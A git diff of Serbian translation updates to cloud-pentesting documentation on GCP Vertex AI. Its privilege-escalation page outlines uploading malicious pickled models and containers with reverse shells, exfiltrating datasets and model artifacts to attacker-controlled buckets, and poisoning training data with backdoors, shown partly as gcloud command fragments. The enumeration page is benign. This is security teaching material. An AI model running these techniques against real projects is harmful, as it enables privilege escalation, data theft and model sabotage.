-Otpremite zlonamerni pickled model sa reverse shell-om +Otpremanje malicioznog pickled modela sa reverse shell-om ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -111,7 +117,7 @@ gcloud ai models upload \
-Otpremanje modela sa reverse shell-om u kontejneru +Otpremi model sa container reverse shell ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -143,16 +149,16 @@ gcloud ai models upload \
> [!DANGER] -> Nakon uploadovanja malicioznog modela napadač može sačekati da ga neko upotrebi, ili ga sam pokrenuti putem deploy-a na endpoint ili batch prediction job-a. +> Nakon otpremanja malicioznog modela, napadač može sačekati da neko upotrebi model, ili ga sam pokrenuti putem deploy-ovanja na endpoint ili kao batch prediction job. #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti uploadovane maliciozne modele u projektu da postignete privilege escalation. Da biste aktivirali jedan od ranije uploadovanih malicioznih modela preko endpoint-a, sve što treba da uradite je: +Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu IAM politika endpointa, možete iskoristiti otpremljene maliciozne modele u projektu da ostvarite privilege escalation. Da biste pokrenuli jedan od prethodno otpremljenih malicioznih modela putem endpointa, sve što treba da uradite je:
-Deploy malicious model to endpoint +Postavite maliciozni model na endpoint ```bash # Create an endpoint gcloud ai endpoints create \ @@ -173,16 +179,14 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Ako imate dozvole za kreiranje **batch prediction jobs** i za njegovo pokretanje koristeći service account, možete pristupiti metadata service-u. Maliciozni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction. - -**Note**: Batch prediction jobs se mogu kreirati samo preko REST API-ja ili Python SDK-a (nema podrške za gcloud CLI). +Ako imate dozvole da kreirate **batch prediction jobs** i pokrenete ih pomoću service account-a, možete pristupiti metadata service-u. Maliciozni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction-a. > [!NOTE] -> Ovaj napad zahteva prvo otpremanje malicious model (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell code-om. +> Ovaj napad zahteva najpre otpremanje malicious model-a (pogledajte sekciju `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell kodom.
-Create batch prediction job with malicious model +Kreirajte batch prediction job sa malicious model-om ```bash # Step 1: Upload a malicious model with custom prediction container that executes reverse shell gcloud ai models upload \ @@ -238,14 +242,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Ako imate **models.export** dozvolu, možete izvesti artefakte modela u GCS bucket koji kontrolišete, potencijalno pristupajući osetljivim podacima za obuku ili fajlovima modela. +Ako imate dozvolu **models.export**, možete izvesti artefakte modela u GCS bucket koji kontrolišete, čime potencijalno dobijate pristup osetljivim podacima za treniranje ili fajlovima modela. > [!NOTE] -> Da biste izveli ovaj napad, potrebno je da imate GCS bucket koji je javno čitljiv i u koji se može pisati, ili da kreirate novi bucket u koji ćete otpremiti artefakte modela. +> Za izvođenje ovog napada potrebno je imati GCS bucket koji je dostupan za čitanje i pisanje svima ili kreirati novi u koji ćete otpremiti artefakte modela.
-Izvezi artefakte modela u GCS bucket +Izvoz artefakata modela u GCS bucket ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -272,16 +276,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite privilege escalation putem reverse shell pristupa. +Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite eskalaciju privilegija pomoću reverse shell pristupa. -Pipelines su posebno moćni za privilege escalation jer podržavaju multi-stage napade u kojima svaka komponenta može koristiti različite kontejnere i konfiguracije. +Pipelines su posebno moćni za eskalaciju privilegija jer podržavaju višestepene napade gde svaka komponenta može koristiti različite kontejnere i konfiguracije. > [!NOTE] -> Potrebno vam je world writable GCS bucket koji će se koristiti kao pipeline root. +> Potrebna vam je world writable GCS bucket koju ćete koristiti kao pipeline root.
-Instalirajte Vertex AI SDK +Install Vertex AI SDK ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -290,7 +294,7 @@ pip install google-cloud-aiplatform
-Kreiraj pipeline job sa reverse shell kontejnerom +Kreiraj pipeline job sa reverse shell container ```python #!/usr/bin/env python3 import json @@ -384,11 +388,11 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Kreirajte **hyperparameter tuning jobs** koji izvršavaju proizvoljan kod sa povišenim privilegijama putem custom training containers. +Kreirajte **hyperparameter tuning jobs** koje izvršavaju proizvoljan kod sa povišenim privilegijama putem prilagođenih training containers. -Hyperparameter tuning jobs omogućavaju vam da pokrenete više training trial-ova paralelno, svaki sa različitim hyperparameter vrednostima. Specificiranjem malicioznog container-a sa reverse shell-om ili exfiltration komandом, i povezivanjem sa privilegovanim service account-om, možete postići eskalaciju privilegija. +Hyperparameter tuning jobs omogućavaju pokretanje više training trials paralelno, svaki sa različitim vrednostima hiperparametara. Ako se navede zlonamerni container sa reverse shell-om ili exfiltration command-om i poveže sa privilegovanim service account-om, može se ostvariti privilege escalation. -**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog service account-a. +**Impact**: Potpuna privilege escalation do permisija ciljanog service account-a.
@@ -433,15 +437,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Izvezite **datasets** kako biste izvršili exfiltrate training data koje mogu sadržati osetljive informacije. +Izvezite **skupove podataka** kako biste izvršili exfiltrate podataka za obuku koji mogu sadržati osetljive informacije. -**Napomena**: Operacije sa dataset-ovima zahtevaju REST API ili Python SDK (gcloud CLI ne podržava dataset-e). +**Napomena**: Operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za skupove podataka). -Dataseti često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcijskih modela. +Skupovi podataka često sadrže originalne podatke za obuku koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za obučavanje modela u produkciji.
-Izvezite dataset za exfiltrate training data +Izvezi skup podataka radi exfiltrate podataka za obuku ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -490,25 +494,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Uvoz zlonamernih ili otrovanih podataka u postojeće skupove podataka kako bi se **manipulisalo treniranjem modela i ubacili backdoors**. +Uvoz malicioznih ili poisoned podataka u postojeće skupove podataka radi **manipulisanja treniranja modela i uvođenja backdoors**. -**Napomena**: Operacije nad dataset-ima zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za datasete). +**Napomena**: Operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema gcloud CLI podrške za skupove podataka). -Uvođenjem pažljivo pripremljenih podataka u dataset koji se koristi za treniranje ML modela, napadač može: -- Ubaciti backdoors u modele (pogrešna klasifikacija aktivirana trigger-om) -- Zatrovati podatke za treniranje kako bi se pogoršale performanse modela -- Ubaciti podatke da nateraju modele da leak informacije +Ubacivanjem pažljivo konstruisanih podataka u skup podataka koji se koristi za treniranje ML modela, napadač može: +- Uvesti backdoors u modele (trigger-based misclassification) +- Poison trening podatke da degradira performanse modela +- Inject podatke kako bi naterao modele da leak information - Manipulisati ponašanje modela za specifične ulaze -Ovaj napad je posebno efikasan kada cilja skupove podataka koji se koriste za: -- Klasifikaciju slika (ubaci pogrešno označene slike) -- Klasifikaciju teksta (ubaci pristrasan ili zlonameran tekst) -- Detekciju objekata (manipulisanje bounding box-ovima) -- Sisteme preporuka (ubaci lažne preferencije) +Ovaj napad je posebno efikasan kada su meta skupovi podataka koji se koriste za: +- Klasifikaciju slika (ubaciti pogrešno označene slike) +- Tekstualnu klasifikaciju (ubaciti pristrasan ili maliciozan tekst) +- Detekciju objekata (manipulisati bounding boxes) +- Sisteme preporuka (ubaciti lažne preferencije)
-Import poisoned data into dataset +Uvezi poisoned podatke u skup podataka ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -569,7 +573,7 @@ curl -s -X GET \
-Backdoor attack - Image classification +Backdoor attack - Klasifikacija slika ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -596,7 +600,7 @@ done > label_flip.jsonl
-Data poisoning za model extraction +Trovanje podataka za ekstrakciju modela ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -623,38 +627,38 @@ EOF
> [!DANGER] -> Data poisoning attacks can have severe consequences: -> - **Sistemi bezbednosti**: Zaobići prepoznavanje lica ili detekciju anomalija -> - **Detekcija prevara**: Obučiti modele da ignorišu specifične obrasce prevara -> - **Moderacija sadržaja**: Naterati da štetni sadržaj bude klasifikovan kao bezbedan +> Data poisoning attacks mogu imati ozbiljne posledice: +> - **Security systems**: Zaobići prepoznavanje lica ili otkrivanje anomalija +> - **Fraud detection**: Naterati modele da ignorišu određene obrasce prevara +> - **Content moderation**: Naterati da štetni sadržaj bude klasifikovan kao bezbedan > - **Medical AI**: Pogrešno klasifikovati kritična zdravstvena stanja -> - **Autonomni sistemi**: Manipulisati detekcijom objekata za odluke kritične po bezbednost - -**Uticaj**: -- Backdoored models that misclassify on specific triggers -- Smanjena performansa i tačnost modela -- Pristrasni modeli koji diskriminišu određene ulaze -- Procurivanje informacija kroz ponašanje modela -- Dugoročna postojanost (modeli trenirani na poisoned data će naslediti backdoor) +> - **Autonomous systems**: Manipulisati detekcijom objekata kod odluka kritičnih za bezbednost +> +> **Uticaj**: +> - Backdoored models koji pogrešno klasifikuju pri određenim okidačima +> - Smanjena performansa i tačnost modela +> - Pristrasni modeli koji diskriminišu određene ulaze +> - Odavanje informacija kroz ponašanje modela +> - Dugoročna postojanost (modeli trenirani na poisoned data naslediće backdoor) ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above). -> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-a koji se izvršavaju na Vertex AI custom training infrastrukturi sa određenim servisnim nalogom. Ovo je ustvari praktičan omotač oko `customJobs.create`. -> **Za privilege escalation putem notebook-ova**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor. +> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API je deprecated kao deo deprecacije Vertex AI Workbench Managed Notebooks. Moderni pristup je korišćenje **Vertex AI Workbench Executor** koji pokreće notebooks preko `aiplatform.customJobs.create` (već dokumentovano gore). +> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-ova koji se izvršavaju na Vertex AI custom training infrastrukturi sa određenim service account-om. Ovo je u suštini pogodna omotnica oko `customJobs.create`. +> **For privilege escalation via notebooks**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu gore, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor. -**Sledeća tehnika je navedena isključivo radi istorijskog konteksta i nije preporučljiva za upotrebu u novim procenama.** +**The following technique is provided for historical context only and is not recommended for use in new assessments.** -Kreirajte zadatke izvršavanja notebook-a koji pokreću Jupyter notebooks sa proizvoljnim kodom. +Kreirajte **notebook execution jobs** koji pokreću Jupyter notebooks sa proizvoljnim kodom. -Notebook jobs su idealni za izvršavanje koda u interaktivnom stilu sa servisnim nalogom, jer podržavaju Python code cells i shell komande. +Notebook jobs su idealni za izvršavanje koda u interaktivnom stilu sa service account-om, jer podržavaju Python code ćelije i shell komande.
-Kreirajte zlonamerni notebook fajl +Kreiraj zlonamerni notebook fajl ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md index 711eb0334..22e04161d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -4,103 +4,111 @@ ## Vertex AI -[Vertex AI](https://cloud.google.com/vertex-ai) je Google Cloud-ova jedinstvena platforma za mašinsko učenje za izgradnju, deploy i upravljanje AI modelima u skali. Kombinuje različite AI i ML servise u jednu integrisanu platformu, omogućavajući data scientist-ima i ML inženjerima da: +[Vertex AI](https://cloud.google.com/vertex-ai) je Google Cloud-ova objedinjena platforma za machine learning za izgradnju, deploy i upravljanje AI modelima u velikom obimu. Kombinuje različite AI i ML servise u jedinstvenu, integrisanu platformu, omogućavajući data scientist-ima i ML inženjerima da: -- **Treniraju prilagođene modele** koristeći AutoML ili prilagođeno treniranje -- **Deploy-uju modele** na skalabilne endpoints za predikcije -- **Upravljaju ML životnim ciklusom** od eksperimentisanja do produkcije -- **Pristupe predtreniranim modelima** iz Model Garden -- **Prate i optimizuju** performanse modela +- Treniraju prilagođene modele koristeći AutoML ili custom training +- Deploy-uju modele na skalabilne endpoints za predviđanja +- Upravljaju ML životnim ciklusom od eksperimentisanja do produkcije +- Pristupe pre-trained modelima iz Model Garden +- Prate i optmizuju performanse modela + +### Agent Engine / Reasoning Engine + +Za specifičnu enumeraciju i putanje post-exploitation za Agent Engine / Reasoning Engine koje uključuju **metadata credential theft**, **P4SA abuse**, i **producer/tenant project pivoting**, pogledajte: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} ### Ključne komponente #### Models -Vertex AI **modeli** predstavljaju istrenirane modele mašinskog učenja koji se mogu deploy-ovati na endpoints za serviranje predikcija. Modeli mogu biti: +Vertex AI modeli predstavljaju istrenirane machine learning modele koji se mogu deploy-ovati na endpoints za serviranje predviđanja. Modeli mogu biti: -- **Upload-ovani** iz prilagođenih containera ili model artifacts +- **Uploaded** iz custom container-a ili model artifacts - Kreirani kroz **AutoML** training -- Importovani iz **Model Garden** (predtrenirani modeli) +- Uvezeni iz **Model Garden** (pre-trained modeli) - **Versioned** sa više verzija po modelu -Svaki model ima metadata koja uključuje njegov framework, container image URI, lokaciju artifakta i serving konfiguraciju. +Svaki model ima metadata koja uključuje njegov framework, container image URI, lokaciju artifact-a i serving konfiguraciju. #### Endpoints -**Endpoints** su resursi koji hostuju deploy-ovane modele i služe online predikcije. Ključne karakteristike: +**Endpoints** su resursi koji hostuju deploy-ovane modele i služe online predviđanja. Ključne karakteristike: - Mogu hostovati **više deploy-ovanih modela** (sa traffic splitting) -- Pružaju **HTTPS endpoints** za real-time predikcije -- Podržavaju **autoscaling** prema saobraćaju -- Mogu koristiti **privatan** ili **javni** pristup -- Podržavaju **A/B testiranje** kroz traffic splitting +- Pružaju **HTTPS endpoints** za realtime predviđanja +- Podržavaju **autoscaling** na osnovu saobraćaja +- Mogu koristiti **private** ili **public** pristup +- Podržavaju **A/B testing** kroz traffic splitting #### Custom Jobs -**Custom jobs** omogućavaju pokretanje prilagođenog training koda koristeći sopstvene containere ili Python pakete. Karakteristike uključuju: +**Custom jobs** omogućavaju pokretanje custom training koda koristeći sopstvene containere ili Python pakete. Karakteristike uključuju: -- Podršku za **distribuirano treniranje** sa više worker pool-ova +- Podršku za **distributed training** sa više worker pool-ova - Konfigurisane **machine types** i **accelerators** (GPUs/TPUs) -- Prikačenje **service account**-a za pristup drugim GCP resursima +- Prikačen **service account** za pristup drugim GCP resursima - Integraciju sa **Vertex AI Tensorboard** za vizualizaciju - Opcije **VPC connectivity** #### Hyperparameter Tuning Jobs -Ovi job-ovi automatski **traže optimalne hyperparametre** pokretanjem više training trial-ova sa različitim kombinacijama parametara. +Ovi job-ovi automatski pretražuju optimalne hyperparametre pokretanjem više training trial-ova sa različitim kombinacijama parametara. #### Model Garden -**Model Garden** daje pristup: +**Model Garden** pruža pristup: -- Predtreniranim Google modelima +- Pre-trained Google modelima - Open-source modelima (uključujući Hugging Face) - Third-party modelima -- Jednim klikom deploy opcijama +- One-click deployment mogućnostima #### Tensorboards -**Tensorboards** pružaju vizualizaciju i monitoring za ML eksperimente, prateći metrike, model grafove i napredak treninga. +**Tensorboards** pružaju vizualizaciju i monitoring za ML eksperimente, prateći metrike, model graph-ove i napredak treninga. ### Service Accounts & Permissions -Po default-u, Vertex AI servisi koriste **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), koji ima **Editor** permisije na projektu. Međutim, možete specificirati prilagođene service account-e kada: +Po default-u, Vertex AI servisi koriste **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), koji ima **Editor** permisije na projektu. Međutim, možete specificirati custom service accounts kada: - Kreirate custom jobs - Upload-ujete modele - Deploy-ujete modele na endpoints Ovaj service account se koristi za: -- Pristup training podacima u Cloud Storage -- Pisanje logova u Cloud Logging -- Pristup sekretima iz Secret Manager +- Pristup training podacima u **Cloud Storage** +- Pisanje logova u **Cloud Logging** +- Pristup secret-ima iz **Secret Manager** - Interakciju sa drugim GCP servisima ### Data Storage -- **Model artifacts** se čuvaju u **Cloud Storage** bucket-ovima -- **Training podaci** obično se nalaze u Cloud Storage ili BigQuery -- **Container images** su smeštene u **Artifact Registry** ili Container Registry -- **Logovi** se šalju u **Cloud Logging** -- **Metrike** se šalju u **Cloud Monitoring** +- **Model artifacts** su skladišteni u **Cloud Storage** bucket-ima +- **Training data** obično se nalazi u **Cloud Storage** ili **BigQuery** +- **Container images** su u **Artifact Registry** ili Container Registry +- **Logs** se šalju u **Cloud Logging** +- **Metrics** se šalju u **Cloud Monitoring** ### Encryption -Po default-u, Vertex AI koristi **Google-managed encryption keys**. Takođe možete konfigurirati: +Po default-u, Vertex AI koristi **Google-managed encryption keys**. Možete takođe konfigurisati: -- **Customer-managed encryption keys (CMEK)** iz Cloud KMS -- Enkripcija se primenjuje na model artifacts, training podatke i endpoints +- **Customer-managed encryption keys (CMEK)** iz **Cloud KMS** +- Enkripcija se primenjuje na model artifacts, training data i endpoints ### Networking Vertex AI resursi se mogu konfigurisati za: -- **Javni internet pristup** (default) -- **VPC peering** za privatni pristup -- **Private Service Connect** za sigurnu konektivnost +- **Public internet access** (default) +- **VPC peering** za private pristup +- **Private Service Connect** za secure konektivnost - **Shared VPC** podršku -### Enumeracija +### Enumeration ```bash # List models gcloud ai models list --region= @@ -183,7 +191,7 @@ gcloud ai endpoints describe --region= --format="value(dep # Check traffic split between models gcloud ai endpoints describe --region= --format="value(trafficSplit)" ``` -### Informacije o prilagođenom zadatku +### Informacije o Custom Job-u ```bash # Get job details including command, args, and service account gcloud ai custom-jobs describe --region= @@ -243,13 +251,19 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region= ``` ### Privilege Escalation -Na sledećoj stranici možete proveriti kako da **abuse Vertex AI permissions to escalate privileges**: +Na sledećoj stranici možete videti kako **abuse Vertex AI permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-vertex-ai-privesc.md {{#endref}} -## Izvori +### Post Exploitation + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + +## References - [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) - [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)